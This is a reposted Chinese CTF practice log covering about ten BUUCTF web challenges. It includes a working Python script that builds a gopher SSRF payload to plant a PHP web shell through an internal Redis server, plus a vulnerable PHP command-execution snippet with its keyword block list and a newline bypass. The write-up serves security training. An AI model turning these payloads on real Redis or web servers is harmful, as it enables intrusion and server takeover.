首页 > 其他分享 >[BUUCTF]第三天训练日志

[BUUCTF]第三天训练日志

时间:2022-10-31 10:01:36浏览次数:84  
标签:BUUCTF format cmd redis 第三天 echo json 2019 日志


文章目录

  • ​​[GKCTF2020]EZ三剑客-EzWeb​​
  • ​​[FBCTF2019]RCEService​​
  • ​​[BSidesCF 2019]Kookie​​
  • ​​[CISCN2019 华北赛区 Day1 Web5]CyberPunk​​
  • ​​[极客大挑战 2019]Secret File​​
  • ​​[ACTF2020 新生赛]Include​​
  • ​​[强网杯 2019]随便注​​
  • ​​[SUCTF 2019]EasySQL​​
  • ​​[极客大挑战 2019]Havefun​​
  • ​​[护网杯 2018]easy_tornado​​
  • ​​参考文章​​

[GKCTF2020]EZ三剑客-EzWeb

刚刚打开网页,通过隐藏参数发现个这个,啥东西???然后看了下wp发现是ssrf,好吧我没啥经验

[BUUCTF]第三天训练日志_redis


绕过了file协议,少了​​file://​​​的两个​​//​

[BUUCTF]第三天训练日志_php_02

[BUUCTF]第三天训练日志_php_03


之后看了下wp说,是要打内网某主机。遂扫描d段得

[BUUCTF]第三天训练日志_json_04


端口是6379

利用gopher协议打redis

'''
之后访问ip/shell.php即可
'''
import urllib

protocol = "gopher://"
ip = "173.228.247.12" # 运行有redis的主机ip
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd


if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)

[BUUCTF]第三天训练日志_redis_05

[FBCTF2019]RCEService

题目源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

preg_match只会去匹配第一行,所以这里可以用多行进行绕过

源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令

cat命令在/bin中保存

所以构造出payload ,%0A是换行符

[BUUCTF]第三天训练日志_redis_06

[BSidesCF 2019]Kookie

比较简单,但是我有点傻刚刚没想到这个

[BUUCTF]第三天训练日志_php_07

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

啊这这道题一点都不会,看了下师傅的WP​

[极客大挑战 2019]Secret File

跟着题目提示一步一步来,太简单了,没啥意思

[BUUCTF]第三天训练日志_redis_08

[ACTF2020 新生赛]Include

过于简单了,复习一下filter协议的使用

[BUUCTF]第三天训练日志_json_09

[强网杯 2019]随便注

复习了下预处理语句的使用吧还是很舒服哈哈哈,更改表名那个不太喜欢

[BUUCTF]第三天训练日志_json_10

[SUCTF 2019]EasySQL

还是一个堆叠注入

[BUUCTF]第三天训练日志_json_11


啊这

[BUUCTF]第三天训练日志_php_12


常规注入也不行我哭了啊啊啊,试一下预处理语句呐,再次失败

[BUUCTF]第三天训练日志_php_13

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能

[极客大挑战 2019]Havefun

easy

[BUUCTF]第三天训练日志_json_14

[护网杯 2018]easy_tornado

唯一需要注意的一点就是md5生成算法得用python,因为tornado模板是python的

[BUUCTF]第三天训练日志_php_15

参考文章

PHP利用PCRE回溯次数限制绕过某些安全限制


标签:BUUCTF,format,cmd,redis,第三天,echo,json,2019,日志
From: https://blog.51cto.com/u_15847702/5808296

相关文章

  • [BUUCTF]第一天训练
    文章目录​​[BSidesCF2019]Futurella​​​​[BJDCTF2nd]duangShell​​​​反弹姿势1(未成功)​​​​反弹姿势2​​[BSidesCF2019]Futurella好久没看过这么简单的题目......
  • Linux文件系统与日志分析
     inode结构表每个文件的属性信息,比如:文件的大小,时间,类型,权限等,称为文件的元数据(metadata)元数据是存放在inode(indexnode)表中。inode表中有很多条记录组成,第一条记......
  • 瑞吉外卖实战项目全攻略——优化篇第三天
    瑞吉外卖实战项目全攻略——优化篇第三天该系列将记录一份完整的实战项目的完成过程,该篇属于优化篇第三天,主要负责完成前后端分离问题案例来自B站黑马程序员Java项目实战......
  • hadoop 日志存放位置
    初学者运行MapReduce作业时,经常会遇到各种错误,由于缺乏经验,往往不知所云,一般直接将终端打印的错误贴到搜索引擎上查找,以借鉴前人的经验。然而,对于hadoop而言,当遇到错误时,第......
  • 「MySQL高级篇」MySQL日志、事务原理 -- undolog、redolog、binlog、两阶段提交
    引言日志日志,在我们平时开发中主要的用途在于监控、备份,但在MySQL中,日志的功能远远不止这些,分别有用于记录的慢查询日志,回滚版本的undolog,宕机恢复的redolog、全量备份的bin......
  • 日志分析系统ELK(elasticsearch+logstash+kibana+filebeat)
    目录​​ 一、安装es​​​​ 二、安装Logstash​​​​三、安装Kibana​​​​四、安装Filebeat​​​​五、集群模式​​搭建日志分析系统ELK(elasticsearch+logstash+k......
  • 用SQL查Linux日志工具-q
    概述Linux文本查找命令不要太多:tail、head、cat、sed、more、less、awk,但对新手不友好。q是一个命令行工具,允许在任意文件或查询结果,如​​ps-ef​​​查询进程命令的结果......
  • spdlog日志库源码:logger类
    目录特性类图关系logger数据成员logger函数成员构造与析构构造函数拷贝构造、移动构造交换操作log()记录日志消息格式串普通字符串日志级别宽字符支持sink_it_:将log消息交......
  • ELK部署-实现Nginx日志收集
    一、部署ES1、创建网络下载镜像dockernetworkcreateelasticdockerpullelasticsearch:7.17.62、目录准备mkdir/opt/ELK/elastic/{data,config}-pchmod777/o......
  • 用shell脚本巧解日志文件塞满磁盘导致系统挂起的困惑
    作者:田逸(formyz​)出事了,十万火急​一帮可爱的程序员,写的程序没有规划,程序、代码与日志一锅粥,而且都在某云的系统盘,不光生成的文件多,而且不做处理。有一天,来了个十万火急的求......